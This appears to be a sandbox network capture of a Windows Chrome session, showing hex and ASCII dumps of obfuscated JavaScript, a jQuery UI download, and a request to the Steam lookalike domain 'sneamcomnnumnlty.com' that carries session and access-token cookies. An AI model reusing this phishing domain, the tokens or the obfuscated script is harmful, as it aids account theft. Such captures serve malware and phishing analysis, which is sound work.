2024-10-06 12:08:20 UTC	305	IN	Data Raw: 37 62 37 36 0d 0a 66 75 6e 63 74 69 6f 6e 20 5f 30 78 34 36 61 64 28 5f 30 78 32 30 63 64 38 62 2c 5f 30 78 64 35 65 31 30 30 29 7b 63 6f 6e 73 74 20 5f 30 78 31 31 30 64 62 66 3d 5f 30 78 31 31 30 64 28 29 3b 72 65 74 75 72 6e 20 5f 30 78 34 36 61 64 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 34 36 61 64 31 62 2c 5f 30 78 34 66 39 66 66 33 29 7b 5f 30 78 34 36 61 64 31 62 3d 5f 30 78 34 36 61 64 31 62 2d 30 78 31 38 64 3b 6c 65 74 20 5f 30 78 61 64 63 31 36 63 3d 5f 30 78 31 31 30 64 62 66 5b 5f 30 78 34 36 61 64 31 62 5d 3b 72 65 74 75 72 6e 20 5f 30 78 61 64 63 31 36 63 3b 7d 2c 5f 30 78 34 36 61 64 28 5f 30 78 32 30 63 64 38 62 2c 5f 30 78 64 35 65 31 30 30 29 3b 7d 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 66 30 35 61 37 2c 5f 30 78 32 63 65 63 64 35 29 Data Ascii: 7b76function _0x46ad(_0x20cd8b,_0xd5e100){const _0x110dbf=_0x110d();return _0x46ad=function(_0x46ad1b,_0x4f9ff3){_0x46ad1b=_0x46ad1b-0x18d;let _0xadc16c=_0x110dbf[_0x46ad1b];return _0xadc16c;},_0x46ad(_0x20cd8b,_0xd5e100);}(function(_0x2f05a7,_0x2cecd5)
2024-10-06 12:08:20 UTC	1369	IN	Data Raw: 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 63 6f 6e 73 74 20 5f 30 78 33 62 32 39 38 64 3d 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 31 63 33 29 29 2f 30 78 31 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 32 33 31 29 29 2f 30 78 32 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 32 33 35 29 29 2f 30 78 33 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 32 34 66 29 29 2f 30 78 34 2a 28 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 31 66 35 29 29 2f 30 78 35 29 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 32 32 34 29 29 2f 30 78 36 2a 28 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 32 33 34 29 29 2f 30 78 37 29 2b 2d 70 Data Ascii: le(!![]){try{const _0x3b298d=-parseInt(_0x4d1ffc(0x1c3))/0x1+-parseInt(_0x4d1ffc(0x231))/0x2+-parseInt(_0x4d1ffc(0x235))/0x3+parseInt(_0x4d1ffc(0x24f))/0x4(parseInt(_0x4d1ffc(0x1f5))/0x5)+parseInt(_0x4d1ffc(0x224))/0x6(parseInt(_0x4d1ffc(0x234))/0x7)+-p
2024-10-06 12:08:20 UTC	1369	IN	Data Raw: 5f 30 78 63 31 66 62 30 30 5b 5f 30 78 31 36 39 61 32 64 5d 29 3b 7d 72 65 74 75 72 6e 20 5f 30 78 31 33 38 61 61 36 3b 7d 2c 5f 30 78 34 62 39 63 35 33 3d 28 5f 30 78 34 61 30 65 38 38 2c 5f 30 78 32 30 34 61 66 32 29 3d 3e 28 29 3d 3e 28 5f 30 78 32 30 34 61 66 32 7c 7c 5f 30 78 34 61 30 65 38 38 28 28 5f 30 78 32 30 34 61 66 32 3d 7b 27 65 78 70 6f 72 74 73 27 3a 7b 7d 7d 29 5b 5f 30 78 34 62 38 35 62 32 28 30 78 32 33 32 29 5d 2c 5f 30 78 32 30 34 61 66 32 29 2c 5f 30 78 32 30 34 61 66 32 5b 5f 30 78 34 62 38 35 62 32 28 30 78 32 33 32 29 5d 29 2c 5f 30 78 33 65 35 38 35 3d 28 5f 30 78 33 31 66 65 65 62 2c 5f 30 78 31 35 31 65 31 30 2c 5f 30 78 34 38 37 61 31 65 2c 5f 30 78 33 39 61 38 33 36 29 3d 3e 7b 63 6f 6e 73 74 20 5f 30 78 31 38 33 30 66 35 3d Data Ascii: _0xc1fb00[_0x169a2d]);}return _0x138aa6;},_0x4b9c53=(_0x4a0e88,_0x204af2)=>()=>(_0x204af2\|\|_0x4a0e88((_0x204af2={'exports':{}})[_0x4b85b2(0x232)],_0x204af2),_0x204af2[_0x4b85b2(0x232)]),_0x3e585=(_0x31feeb,_0x151e10,_0x487a1e,_0x39a836)=>{const _0x1830f5=
2024-10-06 12:08:20 UTC	1369	IN	Data Raw: 31 38 65 29 2c 27 70 61 64 64 69 6e 67 52 69 67 68 74 27 2c 5f 30 78 34 37 30 31 39 35 28 30 78 32 34 64 29 2c 5f 30 78 34 37 30 31 39 35 28 30 78 32 37 33 29 2c 27 6d 61 72 67 69 6e 4c 65 66 74 27 2c 5f 30 78 34 37 30 31 39 35 28 30 78 32 33 30 29 2c 27 6d 61 72 67 69 6e 54 6f 70 27 2c 5f 30 78 34 37 30 31 39 35 28 30 78 32 32 65 29 2c 5f 30 78 34 37 30 31 39 35 28 30 78 32 61 39 29 2c 5f 30 78 34 37 30 31 39 35 28 30 78 32 32 32 29 2c 27 62 6f 72 64 65 72 54 6f 70 57 69 64 74 68 27 2c 27 62 6f 72 64 65 72 42 6f 74 74 6f 6d 57 69 64 74 68 27 5d 2c 5f 30 78 63 63 62 39 34 34 3d 5f 30 78 37 39 30 39 36 65 5b 5f 30 78 34 37 30 31 39 35 28 30 78 31 61 63 29 5d 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 33 66 64 64 32 63 28 29 7b 63 6f 6e 73 74 20 5f 30 78 31 31 Data Ascii: 18e),'paddingRight',_0x470195(0x24d),_0x470195(0x273),'marginLeft',_0x470195(0x230),'marginTop',_0x470195(0x22e),_0x470195(0x2a9),_0x470195(0x222),'borderTopWidth','borderBottomWidth'],_0xccb944=_0x79096e[_0x470195(0x1ac)];function _0x3fdd2c(){const _0x11
2024-10-06 12:08:20 UTC	1369	IN	Data Raw: 78 35 37 38 63 32 35 5b 27 6d 61 72 67 69 6e 54 6f 70 27 5d 2b 5f 30 78 35 37 38 63 32 35 5b 27 6d 61 72 67 69 6e 42 6f 74 74 6f 6d 27 5d 2c 5f 30 78 66 37 34 62 39 30 3d 5f 30 78 35 37 38 63 32 35 5b 5f 30 78 34 39 31 35 32 36 28 30 78 32 61 39 29 5d 2b 5f 30 78 35 37 38 63 32 35 5b 5f 30 78 34 39 31 35 32 36 28 30 78 32 32 32 29 5d 2c 5f 30 78 35 37 33 36 37 65 3d 5f 30 78 35 37 38 63 32 35 5b 5f 30 78 34 39 31 35 32 36 28 30 78 32 61 64 29 5d 2b 5f 30 78 35 37 38 63 32 35 5b 5f 30 78 34 39 31 35 32 36 28 30 78 32 36 34 29 5d 2c 5f 30 78 32 63 36 38 36 35 3d 5f 30 78 34 63 39 30 38 37 28 5f 30 78 33 62 32 38 39 37 5b 5f 30 78 34 39 31 35 32 36 28 30 78 31 63 37 29 5d 29 3b 5f 30 78 32 63 36 38 36 35 21 3d 3d 21 30 78 31 26 26 28 5f 30 78 35 37 38 63 32 Data Ascii: x578c25['marginTop']+_0x578c25['marginBottom'],_0xf74b90=_0x578c25[_0x491526(0x2a9)]+_0x578c25[_0x491526(0x222)],_0x57367e=_0x578c25[_0x491526(0x2ad)]+_0x578c25[_0x491526(0x264)],_0x2c6865=_0x4c9087(_0x3b2897[_0x491526(0x1c7)]);_0x2c6865!==!0x1&&(_0x578c2
2024-10-06 12:08:20 UTC	1369	IN	Data Raw: 36 35 64 30 5d 7c 7c 5b 5d 3b 72 65 74 75 72 6e 20 5f 30 78 31 62 64 65 37 30 5b 5f 30 78 31 30 64 63 65 62 28 30 78 32 36 35 29 5d 28 5f 30 78 33 62 63 39 39 63 29 7c 7c 5f 30 78 31 62 64 65 37 30 5b 27 70 75 73 68 27 5d 28 5f 30 78 33 62 63 39 39 63 29 2c 74 68 69 73 3b 7d 2c 5f 30 78 33 37 65 36 63 32 5b 5f 30 78 31 39 37 34 61 65 28 30 78 32 36 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 35 65 61 38 65 33 2c 5f 30 78 32 37 37 62 36 61 29 7b 63 6f 6e 73 74 20 5f 30 78 34 35 38 37 34 39 3d 5f 30 78 31 39 37 34 61 65 3b 69 66 28 21 5f 30 78 35 65 61 38 65 33 7c 7c 21 5f 30 78 32 37 37 62 36 61 29 72 65 74 75 72 6e 20 74 68 69 73 3b 74 68 69 73 5b 27 6f 6e 27 5d 28 5f 30 78 35 65 61 38 65 33 2c 5f 30 78 32 37 37 62 36 61 29 3b 6c 65 74 20 5f 30 78 32 Data Ascii: 65d0]\|\|[];return _0x1bde70[_0x10dceb(0x265)](_0x3bc99c)\|\|_0x1bde70['push'](_0x3bc99c),this;},_0x37e6c2[_0x1974ae(0x263)]=function(_0x5ea8e3,_0x277b6a){const _0x458749=_0x1974ae;if(!_0x5ea8e3\|\|!_0x277b6a)return this;this['on'](_0x5ea8e3,_0x277b6a);let _0x2
2024-10-06 12:08:20 UTC	1369	IN	Data Raw: 73 5b 5f 30 78 34 63 31 34 62 64 28 30 78 31 64 37 29 5d 2c 74 68 69 73 3b 7d 2c 5f 30 78 31 32 31 32 36 30 3b 7d 29 29 3b 7d 29 2c 5f 30 78 33 38 33 32 30 35 3d 5f 30 78 34 62 39 63 35 33 28 28 5f 30 78 34 30 61 35 30 61 2c 5f 30 78 35 61 32 66 37 65 29 3d 3e 7b 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 65 34 32 36 65 2c 5f 30 78 32 64 31 38 61 30 29 7b 63 6f 6e 73 74 20 5f 30 78 35 62 66 64 32 36 3d 5f 30 78 34 36 61 64 3b 74 79 70 65 6f 66 20 5f 30 78 35 61 32 66 37 65 3d 3d 5f 30 78 35 62 66 64 32 36 28 30 78 31 66 66 29 26 26 5f 30 78 35 61 32 66 37 65 5b 5f 30 78 35 62 66 64 32 36 28 30 78 32 33 32 29 5d 3f 5f 30 78 35 61 32 66 37 65 5b 5f 30 78 35 62 66 64 32 36 28 30 78 32 33 32 29 5d 3d 5f 30 78 32 64 31 38 61 30 28 5f 30 78 32 65 34 32 36 65 2c Data Ascii: s[_0x4c14bd(0x1d7)],this;},_0x121260;}));}),_0x383205=_0x4b9c53((_0x40a50a,_0x5a2f7e)=>{(function(_0x2e426e,_0x2d18a0){const _0x5bfd26=_0x46ad;typeof _0x5a2f7e==_0x5bfd26(0x1ff)&&_0x5a2f7e[_0x5bfd26(0x232)]?_0x5a2f7e[_0x5bfd26(0x232)]=_0x2d18a0(_0x2e426e,
2024-10-06 12:08:20 UTC	1369	IN	Data Raw: 6e 64 6c 65 73 27 5d 5b 5f 30 78 34 30 66 65 38 66 28 30 78 32 30 64 29 5d 28 5f 30 78 33 37 30 38 39 36 3d 3e 7b 63 6f 6e 73 74 20 5f 30 78 33 35 36 61 39 62 3d 5f 30 78 34 30 66 65 38 66 3b 5f 30 78 33 37 30 38 39 36 5b 5f 30 78 32 34 66 66 66 37 5d 28 5f 30 78 35 34 64 30 35 65 2c 74 68 69 73 29 2c 5f 30 78 33 37 30 38 39 36 5b 5f 30 78 32 34 66 66 66 37 5d 28 5f 30 78 33 35 36 61 39 62 28 30 78 32 38 30 29 2c 74 68 69 73 29 2c 5f 30 78 39 33 37 36 33 35 5b 5f 30 78 33 35 36 61 39 62 28 30 78 31 63 64 29 5d 26 26 28 5f 30 78 33 37 30 38 39 36 5b 5f 30 78 33 35 36 61 39 62 28 30 78 32 39 39 29 5d 5b 5f 30 78 33 35 36 61 39 62 28 30 78 32 34 63 29 5d 3d 5f 30 78 34 66 65 39 66 37 29 3b 7d 29 3b 7d 2c 5f 30 78 64 34 32 65 30 32 5b 5f 30 78 35 64 37 30 37 Data Ascii: ndles'][_0x40fe8f(0x20d)](_0x370896=>{const _0x356a9b=_0x40fe8f;_0x370896[_0x24fff7](_0x54d05e,this),_0x370896[_0x24fff7](_0x356a9b(0x280),this),_0x937635[_0x356a9b(0x1cd)]&&(_0x370896[_0x356a9b(0x299)][_0x356a9b(0x24c)]=_0x4fe9f7);});},_0xd42e02[_0x5d707
2024-10-06 12:08:20 UTC	1369	IN	Data Raw: 35 64 37 30 37 34 3b 74 68 69 73 5b 5f 30 78 31 33 61 39 33 37 28 30 78 31 62 61 29 5d 28 5f 30 78 34 30 30 63 31 37 2c 5f 30 78 34 30 30 63 31 37 29 3b 7d 3b 6c 65 74 20 5f 30 78 33 34 36 34 37 65 3d 5b 5f 30 78 35 64 37 30 37 34 28 30 78 31 64 63 29 2c 5f 30 78 35 64 37 30 37 34 28 30 78 31 63 39 29 2c 27 53 45 4c 45 43 54 27 2c 27 4f 50 54 49 4f 4e 27 5d 2c 5f 30 78 33 66 34 31 30 34 3d 5b 27 72 61 64 69 6f 27 2c 27 63 68 65 63 6b 62 6f 78 27 2c 27 62 75 74 74 6f 6e 27 2c 5f 30 78 35 64 37 30 37 34 28 30 78 32 38 33 29 2c 5f 30 78 35 64 37 30 37 34 28 30 78 32 36 36 29 2c 27 66 69 6c 65 27 5d 3b 72 65 74 75 72 6e 20 5f 30 78 64 34 32 65 30 32 5b 5f 30 78 35 64 37 30 37 34 28 30 78 31 62 61 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 34 63 37 30 39 34 Data Ascii: 5d7074;this[_0x13a937(0x1ba)](_0x400c17,_0x400c17);};let _0x34647e=[_0x5d7074(0x1dc),_0x5d7074(0x1c9),'SELECT','OPTION'],_0x3f4104=['radio','checkbox','button',_0x5d7074(0x283),_0x5d7074(0x266),'file'];return _0xd42e02[_0x5d7074(0x1ba)]=function(_0x4c7094
2024-10-06 12:08:20 UTC	1369	IN	Data Raw: 36 28 30 78 32 35 30 29 5d 2d 74 68 69 73 5b 5f 30 78 31 61 38 63 63 36 28 30 78 32 30 62 29 5d 5b 5f 30 78 31 61 38 63 63 36 28 30 78 32 35 30 29 5d 2c 27 79 27 3a 5f 30 78 33 35 62 39 35 37 5b 5f 30 78 31 61 38 63 63 36 28 30 78 32 35 35 29 5d 2d 74 68 69 73 5b 5f 30 78 31 61 38 63 63 36 28 30 78 32 30 62 29 5d 5b 27 70 61 67 65 59 27 5d 7d 3b 74 68 69 73 5b 27 65 6d 69 74 45 76 65 6e 74 27 5d 28 5f 30 78 31 61 38 63 63 36 28 30 78 32 36 62 29 2c 5b 5f 30 78 34 32 66 37 61 36 2c 5f 30 78 33 35 62 39 35 37 2c 5f 30 78 33 65 37 32 64 63 5d 29 2c 21 74 68 69 73 5b 5f 30 78 31 61 38 63 63 36 28 30 78 31 62 66 29 5d 26 26 74 68 69 73 5b 5f 30 78 31 61 38 63 63 36 28 30 78 32 30 32 29 5d 28 5f 30 78 33 65 37 32 64 63 29 26 26 74 68 69 73 5b 27 64 72 61 67 53 Data Ascii: 6(0x250)]-this[_0x1a8cc6(0x20b)][_0x1a8cc6(0x250)],'y':_0x35b957[_0x1a8cc6(0x255)]-this[_0x1a8cc6(0x20b)]['pageY']};this['emitEvent'](_0x1a8cc6(0x26b),[_0x42f7a6,_0x35b957,_0x3e72dc]),!this[_0x1a8cc6(0x1bf)]&&this[_0x1a8cc6(0x202)](_0x3e72dc)&&this['dragS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49721	172.67.175.206	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:20 UTC	1166	OUT	GET /20412b512e0800575e575558255a5b54520c0f05 HTTP/1.1 Host: sneamcomnnumnlty.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.pl-SinX5vnLRMPSkcsu8OauXJRrbQjjh.NLiq_QV1AR7bCL-H.fJVn0pxppmZwlL3eZwM7sQ9H79b2vJsXnWRHx7SNOK1EQF_PK9K36rmDR_FUhiVlgjrVMRZgD3XFSTyoAxh7IZhsAD_iepiQKKSmlaNqwOVIrUohfIRLgVHdFAzsR-xj09JQT2rMhxm9o1B-2XFKz2j1Pa0cNLQJaPR_ZQuU2GkfLYCK_N66xWO0b3CA8dFAgauCd0p0wApkOnG8gpyEqQ9yeP7NthAoYOMUVOh1owk1FvuArTWZjV-JPXlsmltq.J267FVKRAoMTYoVUqxOATg; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6ImQ4ZTBjOWM0NjI2M2Y2NDU5ZWFiNWU4ZmRmYzUyYzMxIiwic2VydmljZSI6IlN0ZWFtIn0.fSMgYBULqA6j_tCey-BCCEICC-_iPvnqoa5GfrFDwcs; accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.q78MNxi5QTdn5i4lijWrLs-DOg7EQVlN.87lDbI6_M3KMAVu0.6Ql_P15JQKaL9qcGO7U39O6Zz-Xu7nmXb0XQdSQrhe96sOknvaVpjDaAsejCMn6qP7hEofy203MLghwN0wWtAtek.M0-VEhh8wn4eEGVZiCFs8g
2024-10-06 12:08:20 UTC	984	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:20 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yzCJoOM3GILBwdXLOXs7anc%2FUfcybS58vixjsJbVC0MaXrnv1ejVsvtIB%2FHgB5sao5BgS607Gt9MSmeWO3Jk7o%2B2y3qsgAyRBoKXS0GD6P8OkTrtGb88jt1dneS54fiPxl%2B9uauFSw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8ce58947fff24343-EWR
2024-10-06 12:08:20 UTC	9	IN	Data Raw: 34 0d 0a 74 72 75 65 0d 0a Data Ascii: 4true
2024-10-06 12:08:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49730	151.101.130.137	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:20 UTC	501	OUT	GET /ui/1.11.3/jquery-ui.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:20 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 469790 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-72b1e" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 437095 Date: Sun, 06 Oct 2024 12:08:20 GMT X-Served-By: cache-lga21958-LGA, cache-ewr-kewr1740046-EWR X-Cache: HIT, HIT X-Cache-Hits: 3598, 0 X-Timer: S1728216500.493279,VS0,VE1 Vary: Accept-Encoding
2024-10-06 12:08:20 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 31 2e 33 20 2d 20 32 30 31 35 2d 30 32 2d 31 32 0a 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 0a 2a 20 49 6e 63 6c 75 64 65 73 3a 20 63 6f 72 65 2e 6a 73 2c 20 77 69 64 67 65 74 2e 6a 73 2c 20 6d 6f 75 73 65 2e 6a 73 2c 20 70 6f 73 69 74 69 6f 6e 2e 6a 73 2c 20 61 63 63 6f 72 64 69 6f 6e 2e 6a 73 2c 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2e 6a 73 2c 20 62 75 74 74 6f 6e 2e 6a 73 2c 20 64 61 74 65 70 69 63 6b 65 72 2e 6a 73 2c 20 64 69 61 6c 6f 67 2e 6a 73 2c 20 64 72 61 67 67 61 62 6c 65 2e 6a 73 2c 20 64 72 6f 70 70 61 62 6c 65 2e 6a 73 2c 20 65 66 66 65 63 74 2e 6a 73 2c 20 65 66 66 65 63 74 2d 62 6c 69 6e 64 2e 6a 73 2c 20 65 66 66 65 63 74 2d 62 6f 75 6e 63 65 2e 6a 73 2c Data Ascii: /! jQuery UI - v1.11.3 - 2015-02-12 http://jqueryui.com* Includes: core.js, widget.js, mouse.js, position.js, accordion.js, autocomplete.js, button.js, datepicker.js, dialog.js, draggable.js, droppable.js, effect.js, effect-blind.js, effect-bounce.js,
2024-10-06 12:08:20 UTC	1378	IN	Data Raw: 37 2c 0a 09 09 48 4f 4d 45 3a 20 33 36 2c 0a 09 09 4c 45 46 54 3a 20 33 37 2c 0a 09 09 50 41 47 45 5f 44 4f 57 4e 3a 20 33 34 2c 0a 09 09 50 41 47 45 5f 55 50 3a 20 33 33 2c 0a 09 09 50 45 52 49 4f 44 3a 20 31 39 30 2c 0a 09 09 52 49 47 48 54 3a 20 33 39 2c 0a 09 09 53 50 41 43 45 3a 20 33 32 2c 0a 09 09 54 41 42 3a 20 39 2c 0a 09 09 55 50 3a 20 33 38 0a 09 7d 0a 7d 29 3b 0a 0a 2f 2f 20 70 6c 75 67 69 6e 73 0a 24 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 0a 09 73 63 72 6f 6c 6c 50 61 72 65 6e 74 3a 20 66 75 6e 63 74 69 6f 6e 28 20 69 6e 63 6c 75 64 65 48 69 64 64 65 6e 20 29 20 7b 0a 09 09 76 61 72 20 70 6f 73 69 74 69 6f 6e 20 3d 20 74 68 69 73 2e 63 73 73 28 20 22 70 6f 73 69 74 69 6f 6e 22 20 29 2c 0a 09 09 09 65 78 63 6c 75 64 65 53 74 61 74 69 63 50 61 72 Data Ascii: 7,HOME: 36,LEFT: 37,PAGE_DOWN: 34,PAGE_UP: 33,PERIOD: 190,RIGHT: 39,SPACE: 32,TAB: 9,UP: 38}});// plugins$.fn.extend({scrollParent: function( includeHidden ) {var position = this.css( "position" ),excludeStaticPar
2024-10-06 12:08:20 UTC	1378	IN	Data Raw: 65 20 7c 7c 20 6d 61 70 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 20 21 3d 3d 20 22 6d 61 70 22 20 29 20 7b 0a 09 09 09 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0a 09 09 7d 0a 09 09 69 6d 67 20 3d 20 24 28 20 22 69 6d 67 5b 75 73 65 6d 61 70 3d 27 23 22 20 2b 20 6d 61 70 4e 61 6d 65 20 2b 20 22 27 5d 22 20 29 5b 20 30 20 5d 3b 0a 09 09 72 65 74 75 72 6e 20 21 21 69 6d 67 20 26 26 20 76 69 73 69 62 6c 65 28 20 69 6d 67 20 29 3b 0a 09 7d 0a 09 72 65 74 75 72 6e 20 28 20 2f 5e 28 69 6e 70 75 74 7c 73 65 6c 65 63 74 7c 74 65 78 74 61 72 65 61 7c 62 75 74 74 6f 6e 7c 6f 62 6a 65 63 74 29 24 2f 2e 74 65 73 74 28 20 6e 6f 64 65 4e 61 6d 65 20 29 20 3f 0a 09 09 21 65 6c 65 6d 65 6e 74 2e 64 69 73 61 62 6c 65 64 20 3a 0a 09 09 22 61 22 20 Data Ascii: e \|\| map.nodeName.toLowerCase() !== "map" ) {return false;}img = $( "img[usemap='#" + mapName + "']" )[ 0 ];return !!img && visible( img );}return ( /^(input\|select\|textarea\|button\|object)$/.test( nodeName ) ?!element.disabled :"a"
2024-10-06 12:08:20 UTC	1378	IN	Data Raw: 22 4c 65 66 74 22 2c 20 22 52 69 67 68 74 22 20 5d 20 3a 20 5b 20 22 54 6f 70 22 2c 20 22 42 6f 74 74 6f 6d 22 20 5d 2c 0a 09 09 09 74 79 70 65 20 3d 20 6e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 0a 09 09 09 6f 72 69 67 20 3d 20 7b 0a 09 09 09 09 69 6e 6e 65 72 57 69 64 74 68 3a 20 24 2e 66 6e 2e 69 6e 6e 65 72 57 69 64 74 68 2c 0a 09 09 09 09 69 6e 6e 65 72 48 65 69 67 68 74 3a 20 24 2e 66 6e 2e 69 6e 6e 65 72 48 65 69 67 68 74 2c 0a 09 09 09 09 6f 75 74 65 72 57 69 64 74 68 3a 20 24 2e 66 6e 2e 6f 75 74 65 72 57 69 64 74 68 2c 0a 09 09 09 09 6f 75 74 65 72 48 65 69 67 68 74 3a 20 24 2e 66 6e 2e 6f 75 74 65 72 48 65 69 67 68 74 0a 09 09 09 7d 3b 0a 0a 09 09 66 75 6e 63 74 69 6f 6e 20 72 65 64 75 63 65 28 20 65 6c 65 6d 2c 20 73 69 7a 65 2c Data Ascii: "Left", "Right" ] : [ "Top", "Bottom" ],type = name.toLowerCase(),orig = {innerWidth: $.fn.innerWidth,innerHeight: $.fn.innerHeight,outerWidth: $.fn.outerWidth,outerHeight: $.fn.outerHeight};function reduce( elem, size,
2024-10-06 12:08:20 UTC	1378	IN	Data Raw: 62 22 2c 20 22 61 22 20 29 2e 72 65 6d 6f 76 65 44 61 74 61 28 20 22 61 2d 62 22 20 29 2e 64 61 74 61 28 20 22 61 2d 62 22 20 29 20 29 20 7b 0a 09 24 2e 66 6e 2e 72 65 6d 6f 76 65 44 61 74 61 20 3d 20 28 66 75 6e 63 74 69 6f 6e 28 20 72 65 6d 6f 76 65 44 61 74 61 20 29 20 7b 0a 09 09 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 20 6b 65 79 20 29 20 7b 0a 09 09 09 69 66 20 28 20 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 20 29 20 7b 0a 09 09 09 09 72 65 74 75 72 6e 20 72 65 6d 6f 76 65 44 61 74 61 2e 63 61 6c 6c 28 20 74 68 69 73 2c 20 24 2e 63 61 6d 65 6c 43 61 73 65 28 20 6b 65 79 20 29 20 29 3b 0a 09 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 09 72 65 74 75 72 6e 20 72 65 6d 6f 76 65 44 61 74 61 2e 63 61 6c 6c 28 20 74 68 69 73 20 29 3b 0a 09 09 Data Ascii: b", "a" ).removeData( "a-b" ).data( "a-b" ) ) {$.fn.removeData = (function( removeData ) {return function( key ) {if ( arguments.length ) {return removeData.call( this, $.camelCase( key ) );} else {return removeData.call( this );
2024-10-06 12:08:20 UTC	1378	IN	Data Raw: 20 77 68 65 72 65 20 7a 2d 69 6e 64 65 78 20 69 73 20 69 67 6e 6f 72 65 64 20 62 79 20 74 68 65 20 62 72 6f 77 73 65 72 0a 09 09 09 09 2f 2f 20 54 68 69 73 20 6d 61 6b 65 73 20 62 65 68 61 76 69 6f 72 20 6f 66 20 74 68 69 73 20 66 75 6e 63 74 69 6f 6e 20 63 6f 6e 73 69 73 74 65 6e 74 20 61 63 72 6f 73 73 20 62 72 6f 77 73 65 72 73 0a 09 09 09 09 2f 2f 20 57 65 62 4b 69 74 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 61 75 74 6f 20 69 66 20 74 68 65 20 65 6c 65 6d 65 6e 74 20 69 73 20 70 6f 73 69 74 69 6f 6e 65 64 0a 09 09 09 09 70 6f 73 69 74 69 6f 6e 20 3d 20 65 6c 65 6d 2e 63 73 73 28 20 22 70 6f 73 69 74 69 6f 6e 22 20 29 3b 0a 09 09 09 09 69 66 20 28 20 70 6f 73 69 74 69 6f 6e 20 3d 3d 3d 20 22 61 62 73 6f 6c 75 74 65 22 20 7c 7c 20 70 6f 73 69 74 Data Ascii: where z-index is ignored by the browser// This makes behavior of this function consistent across browsers// WebKit always returns auto if the element is positionedposition = elem.css( "position" );if ( position === "absolute" \|\| posit
